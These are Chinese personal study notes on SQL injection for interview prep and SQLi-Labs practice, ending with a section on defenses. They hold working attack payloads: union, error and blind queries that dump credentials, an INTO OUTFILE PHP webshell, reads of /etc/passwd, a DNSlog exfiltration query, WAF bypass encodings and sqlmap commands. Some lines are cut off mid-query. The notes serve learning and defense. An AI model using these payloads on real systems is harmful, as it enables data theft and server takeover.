学习目标:
- 学习
SQL 注入完全笔记(面试 + 复现 + 实战全覆盖)
核心结论
SQL 注入是因未对用户输入严格过滤,导致恶意 SQL 语句被执行的漏洞,核心危害包括数据库泄露、服务器控制、权限提升等;面试重点围绕注入类型、绕过技巧、防御方案,复现需掌握靶场实操与漏洞利用逻辑,实战需结合工具与手工注入。
一、SQL 注入核心基础(面试必问)
1. 注入本质
用户输入未经过滤直接拼接进 SQL 语句,破坏语句结构并执行恶意逻辑,本质是 "输入可控 + 语句拼接 + 过滤缺失" 三者叠加的结果。
2. 核心危害(面试高频)
- 数据库层面:拖库(用户账号密码、敏感数据泄露)、删库改表(
DROP TABLE、UPDATE恶意操作)。 - 服务器层面:文件读写(
load_file读配置文件、into outfile写木马)、命令执行(提权后控制服务器)。 - 业务层面:越权访问(登录绕过、访问敏感功能)、数据篡改(订单、金额修改)。
3. 注入前提条件
- 输入可控:用户可修改请求参数(GET/POST/Cookie/Header 等)。
- 拼接执行:输入直接参与 SQL 语句构造,未使用预编译等安全方式。
- 反馈可达:可通过报错、回显、时间差等获取执行结果。
二、SQL 注入分类(按注入方式 + 场景)
1. 按数据交互方式分类
(1)联合查询注入(Union Injection)
- 原理:利用
UNION关键字拼接查询语句,获取数据库信息,要求前后查询列数一致。 - 适用场景:有数据回显的场景(如列表页、详情页)。
- 核心步骤:判断列数(
order by)→ 确定回显位(union select 1,2,3)→ 查库 / 表 / 字段(information_schema)→ 提取数据。 - 面试考点:列数不匹配如何处理?(补全空值
union select 1,'',3)、回显位被过滤如何绕过?(报错注入替代)。
(2)报错注入(Error-Based Injection)
- 原理:构造恶意语句触发数据库报错,将查询结果包含在报错信息中。
- 常用函数(面试必记):
updatexml(1,concat(0x7e,查询语句,0x7e),1):XPATH 语法错误触发。extractvalue(1,concat(0x7e,查询语句,0x7e)):同属 XPATH 报错。floor(rand(0)*2) + group by + count(*):主键冲突报错。
- 适用场景:无直接回显,但有报错信息输出。
(3)盲注(Blind Injection)
- 布尔盲注:根据返回页面是否正常(True/False)逐字符猜解数据(如
substr(database(),1,1)='s')。 - 时间盲注:通过
sleep()函数的延迟效果判断条件是否成立(如if(substr(database(),1,1)='s',sleep(5),1))。 - 适用场景:无回显、无报错,仅能通过页面响应状态或时间差判断。
- 面试考点:盲注效率优化?(二分法猜解、批量脚本执行)、时间盲注被过滤如何替代?(
benchmark()函数)。
(4)二次注入(Second-Order Injection)
- 原理:首次输入恶意数据被转义存储,二次调用时转义失效,导致注入触发(如注册时输入
admin'#,登录时拼接执行)。 - 典型场景:用户注册、资料修改、评论提交等需存储后复用输入的功能。
- 面试考点:二次注入与普通注入的区别?(触发分两步:存储 + 复用,过滤仅在存储时生效)。
(5)堆叠注入(Stacked Injection)
- 原理:使用
;分隔多条 SQL 语句,同时执行(如select * from users where id=1; drop table users;)。 - 适用场景:数据库支持多语句执行(MySQL 默认支持,部分中间件可能拦截)。
- 面试考点:堆叠注入为何不常用?(多数 Web 框架 / 中间件会过滤
;,且需高权限)。
2. 按请求方式分类
- GET 注入:参数在 URL 中(如
?id=1),易测试,可直接拼接 Payload。 - POST 注入:参数在请求体中(如登录表单、提交数据),需抓包修改参数。
- Cookie/Header 注入:参数在 Cookie(如
username=admin)、User-Agent、Referer 等头中,易被忽略,需全面抓包排查。
3. 按数据库类型分类
- MySQL:支持
information_schema查表、load_file/into outfile文件操作、丰富报错函数。 - SQL Server:支持
sysobjects查表、xp_cmdshell命令执行、bulk insert文件读写。 - Oracle:表名需大写(
USER_TABLES)、无information_schema,需用dual虚拟表。 - 面试考点:不同数据库注入差异?(表结构查询方式、函数支持、文件操作权限)。
三、关键技术点(复现 + 面试重点)
1. 注入核心函数(实战必备)
| 函数类型 | 常用函数 | 作用 | 面试考点 |
|---|---|---|---|
| 数据查询 | database()、version() |
查当前库名、数据库版本 | 如何绕过函数过滤?(内联注释/*!database()*/) |
| 字符串处理 | substr()、mid()、concat() |
截取字符串、拼接结果 | substr被过滤如何替代?(left()、right()) |
| 报错触发 | updatexml()、extractvalue() |
触发 XPATH 报错 | 报错长度限制如何处理?(分段查询substr(查询,1,20)) |
| 时间延迟 | sleep()、benchmark() |
时间盲注延迟 | sleep被过滤如何替代?(benchmark(1000000,md5(404))) |
| 文件操作 | load_file()、into outfile |
读文件、写文件 | 文件操作权限要求?(secure_file_priv配置为空) |
2. 注入流程(复现标准化步骤)
(1)漏洞探测
- 基础测试:
?id=1'(单引号报错)、?id=1 and 1=1/?id=1 and 1=2(布尔判断)。 - 确认注入:报错则直接判断,无报错则试时间盲注(
?id=1 and sleep(5))。
(2)信息收集
- 查数据库:
union select 1,database(),3(联合查询)、updatexml(1,concat(0x7e,database()),1)(报错注入)。 - 查表名:
select group_concat(table_name) from information_schema.tables where table_schema=database()。 - 查字段:
select group_concat(column_name) from information_schema.columns where table_name='users'。
(3)数据提取
- 提取敏感数据:
select group_concat(username,0x7e,password) from users(0x7e 是~分隔符)。 - 文件操作:读配置文件(
load_file('/etc/passwd'))、写木马(union select 1,'<?php @eval($_POST[cmd])?>',3 into outfile '/var/www/html/shell.php')。
(4)权限提升
- 数据库提权:读取数据库配置文件(如
my.ini)、获取 root 账号密码。 - 服务器提权:通过木马连接服务器、执行系统命令(
whoami、ifconfig)。
3. WAF 绕过技巧(面试高频 + 实战核心)
(1)注释符绕过
- 常用注释:
#、--+、/*...*/、;%00(截断注释)。 - 绕过场景:过滤
#则用--+,过滤--则用/*comment*/。
(2)关键字绕过
- 大小写混合:
UnIoN SeLeCt(绕过大小写敏感过滤)。 - 双写关键字:
oorrder by(过滤or后还原为order by)。 - 内联注释:
/*!union*/ /*!select*/ 1,2,3(MySQL 特有关键字执行)。 - 编码绕过:URL 编码(
union→%75%6E%69%6F%6E)、ASCII 编码(union→char(117,110,105,111,110))。
(3)空格绕过
- 替代字符:
%09(Tab)、%0A(换行)、%A0(非中断空格)、/**/(注释填充)。 - 适用场景:过滤空格则用
select/**/1,2,3。
(4)符号绕过
- 引号绕过:十六进制编码(
users→0x7573657273)、无引号拼接(table_schema=database())。 - 等号绕过:
like、regexp替代(substr(database(),1,1) like 's')。 - 逗号绕过:
join替代(union select * from (select 1)a join (select 2)b)、limit offset替代(limit 1 offset 0)。
(5)函数绕过
- 函数替换:
sleep()→benchmark()、concat()→concat_ws()、substr()→mid()。 - 生僻函数:
polygon()、linestring()替代updatexml()触发报错(select polygon((select * from (select version())a)))。
(6)其他绕过
- HTTP 参数污染:
?id=1&id=2' union select 1,2,3(WAF 仅检测第一个id)。 - 宽字节注入:GBK 编码下,
%df'→運',吃掉转义符\(id=1%df' union select 1,2,3--+)。 - 字符集转换:利用
latin1与utf8转换差异,忽略无效字符(admin%c2匹配admin)。
四、靶场复现实战(以 SQLi-Labs 为例)
1. Less-1(GET 联合查询注入)
- 探测:
?id=1'报错→存在注入。 - 查列数:
?id=1' order by 3--+(3 列正常,4 列报错)。 - 回显位:
?id=-1' union select 1,2,database()--+(回显 2、3 位)。 - 提权:
?id=-1' union select 1,group_concat(username,0x7e,password),3 from security.users--+。
2. Less-5(布尔盲注)
- 探测:
?id=1' and 1=1--+正常,?id=1' and 1=2--+异常→布尔盲注。 - 猜库名:
?id=1' and left(database(),1)='s'--+(逐字符确认security)。 - 猜表名:
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e'--+。
3. Less-7(文件写入注入)
- 条件:
secure_file_priv为空(MySQL 配置)。 - 写木马:
?id=-1')) union select 1,2,'<?php @eval($_POST[cmd])?>' into outfile '/var/www/html/shell.php'--+。 - 连接:用蚁剑 / 菜刀连接
http://xxx/shell.php,密码cmd。
4. 二次注入复现(网鼎杯 Comment)
- 第一步:注册账号时输入
admin'#(被addslashes转义为admin\'#存储)。 - 第二步:登录后评论,触发 SQL 拼接
select * from comment where username='admin\'#'→转义失效,#注释后续语句,实现注入。 - 提取 flag:
',content=(select load_file("/flag.txt")),/*。
五、防御方案(面试核心)
1. 核心防御原则:输入验证 + 语句安全执行
(1)输入过滤与验证
- 白名单验证:仅允许指定字符(如数字、字母),拒绝特殊字符(
'、;、union等)。 - 参数类型限制:强制转换为整数(如
id=int($_GET['id']))。
(2)使用预编译语句(PreparedStatement)
-
原理:SQL 语句模板与参数分离,参数仅作为数据解析,不参与语句构造。
-
示例(PHP-PDO): php
运行
$stmt = $pdo->prepare("select * from users where id=?"); $stmt->bindParam(1, $id); $stmt->execute(); -
面试考点:预编译为何能防注入?(参数不拼接进语句,无语法破坏可能)。
(3)ORM 框架使用
- 如 MyBatis、Hibernate,自动处理参数转义,避免手动拼接 SQL。
- 注意:避免 ORM 中的动态 SQL 拼接(如 MyBatis 的
${}语法,应用#{}, 参数绑定)。
(4)权限最小化
- 数据库账号仅分配必要权限(查询账号无
drop、file权限)。 - Web 服务器账号无文件写入权限,限制
into outfile使用。
(5)安全配置
- MySQL 禁用
secure_file_priv(限制文件操作)。 - 关闭数据库报错详情(生产环境仅返回通用错误,不泄露表结构)。
(6)WAF 防护
- 部署云 WAF 或服务器 WAF,拦截常见注入 Payload,但需配合其他防御(WAF 可被绕过)。
六、总结面试高频问题
- 什么是 SQL 注入?核心成因是什么?(输入可控 + 拼接执行 + 过滤缺失)
- SQL 注入有哪些类型?各自适用场景是什么?(联合查询 - 有回显、报错 - 有报错、盲注 - 无回显无报错)
- 如何绕过 WAF 的关键字过滤?(大小写、双写、内联注释、编码)
- 二次注入的触发流程是什么?(存储时转义→复用时有转义失效)
- 预编译为何能防御注入?(语句与参数分离,参数不参与语法解析)
- 盲注效率低如何解决?(二分法、脚本批量猜解、利用报错替代)
- MySQL 与 SQL Server 注入的差异?(查表方式、函数支持、命令执行权限)
- 如何判断一个页面是否存在 SQL 注入?(单引号报错、布尔判断、时间延迟)
七、扩展补充(实战进阶)
1. 工具使用
- SQLMap:自动化注入(
sqlmap -u "http://xxx/?id=1" --dbs查库)。 - BurpSuite:抓包修改参数、批量猜解盲注、Payload 生成。
- 蚁剑 / 菜刀:连接木马上线,控制服务器。
2. 实战注意事项
- 避免直接攻击生产环境(违法),优先使用靶场(SQLi-Labs、BUUOJ、CTF 平台)。
- 注入时注意编码(URL 编码、UTF-8),避免 Payload 被转义。
- 遇到过滤时,逐步测试过滤规则(先测关键字、再测符号、最后测函数)。
3. 进阶知识点
-
DNSlog 注入:无回显时,通过 DNS 解析记录获取数据(
select load_file(concat('\\\\',(select database()),'.xxx.dnslog.cn\\a')))。 -
提权技巧:通过数据库权限读取服务器配置文件,进而获取系统权限。
-
绕过 RASP 防护:利用编码转换、函数变形、分段注入等方式规避 Runtime 检测。
GET-联合查询
第一关
注释的不同:- 用
#进行注释,一般可以,但是可以在前端进行过滤,导致注释不成功 - 用
-- q其中-- 代表注释,(某些数据库(如MySQL)要求--后必须有一个空格才能生效)所以加空格
构造Playlod的技巧:
当我们判断注入点时,要尝试闭合,可以用尝试故意报错了解闭合规则,在构造playlod
判断注入点
白盒中:查看代码:id=$id' (注意闭合)
黑盒中:尝试(一般加-- +注释符)
判断注入类型(有无注入点)
加上 id=1 and 1=1 -- q 反应正常 (id=1 and 1=2 -- q 反应也正常) 说明不是数字型注入
尝试 id=1' and 1=1-- q 反应正常 (id=1' and 1=2 -- q 反应错误) 说明是字符型注入
- 用
判断数据库类型
mysql:id=1' AND updatexml(1,concat(0x7e,version()),1) -- q 显示数据库类型则为mysql
oracle: id=1' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) -- q 反应ORA-错误含版本信息则为oracle数据库
sqlserver: id=1' AND 1=convert(int,@@version) -- q 转换失败含版本信息则为sqlserver
使用联合查询union select 判断回显位置
id=1' union select 1,2,3 -- q (没有反应,因为id=1执行了,后面的不会覆盖)
id=-1' union select 1,2,3 -- q (id=-1,让前面的不执行)
查询数据库名
union select 1,database(),3 -- q (回显security)
查询表名
第一种:group_concat(不太建议,有可能查不全,有坑)
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库' -- q
解释一下:group_concat(table_name)放在显示位上查询表名,可以直接写table_name,但有时候会只显示一个。from infonmation_schema.tables从记录表名的数据库中查找。where table_scema='syguestbook'查找一个数据库名叫syguestbook的数据库中的信息
第二种:table_name(一个一个查,慢但全)
union select 1,2,table_name from information_schema.tables where table_schema='数据库' limit 1,1 --+

table_name位数从0开始,更改时更改第一个数字(例如:limit 0,1;limit 1,1;limit 2,1)
查询字段名(和表名差不多)
第一种:group_concat
union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库' and table_name='表名' -- q
第二种:table_name(一个一个查,慢但全)
union select 1,2,column_name from information_schema.columns where table_schema='数据库' and table_name='表名' limit 0,1 -- q

查询数据
第一种:group_concat
union select 1,2,group_concat(字段1,字段2,字段3....) from 表名 -- q
0x7e 作为分隔符避免数据粘连:字段1,0x7e,字段2
第二种:table_name(一个一个查,慢但全)
union select 字段名 from 数据库.表名 limit 0,1

第二关
和第一关的区别是:数字型 id=1
第三关
和第一关的区别是:是以单引号和括号闭合的形式(字符型) id=1')
第四关
和第一关的区别是:是以双引号和括号闭合的形式(字符型) id=1")
GET-报错注入
第五关
判断注入类型(有无注入点)
加上 id=1 and 1=1 --+ 反应正常 (id=1 and 1=2 --+ 反应也正常) 说明不是数字型注入
尝试 id=1' and 1=1 --+ 反应正常 (id=1' and 1=2 --+ 反应错误) 说明是字符型注入
判断字段数
id=1' order by 4 --+ 反应错误 id=1' order by 3 --+反应正确 (字段数为3)
使用联合查询union select 判断回显位置
id=1' union select 1,2,3 --+ (没有反应,因为id=1执行了,后面的不会覆盖)
id=-1' union select 1,2,3 --+ (id=-1,让前面的不执行)
没有回显可以想到用盲注(一般可以先尝试报错注入------updatexml)
updatexml语法:updatexml(目标xml内容,xml文档路径,更新内容)
例子语句:
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
查询数据库名(盲注------报错注入)
and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- q

查询表名(盲注------报错注入)
注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='数据库' limit 0,1),·
查询字段名(盲注------报错注入)
注意报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='数据库' and table
查询数据(盲注------报错注入)
and updatexml(1,concat(0x7e,(select group_concat(username,password)from 表名),0x7e),1) -- q

第六关
和第5关的区别是:是以双引号闭合的形式(字符型) id=1"
GET-写入注入
学习时间:
学习时间为学习时间
|-----------|------------|
| 学习时间 | 筋肉人 |
| 为学习时间 | future |
内容为笔记【有时比较抽象,有时比较过于详细,请宽恕。作者可能写的是仅个人笔记,筋肉人future】
学习产出:
- 技术笔记 1遍
- 有错误请指出,作者会及时改正



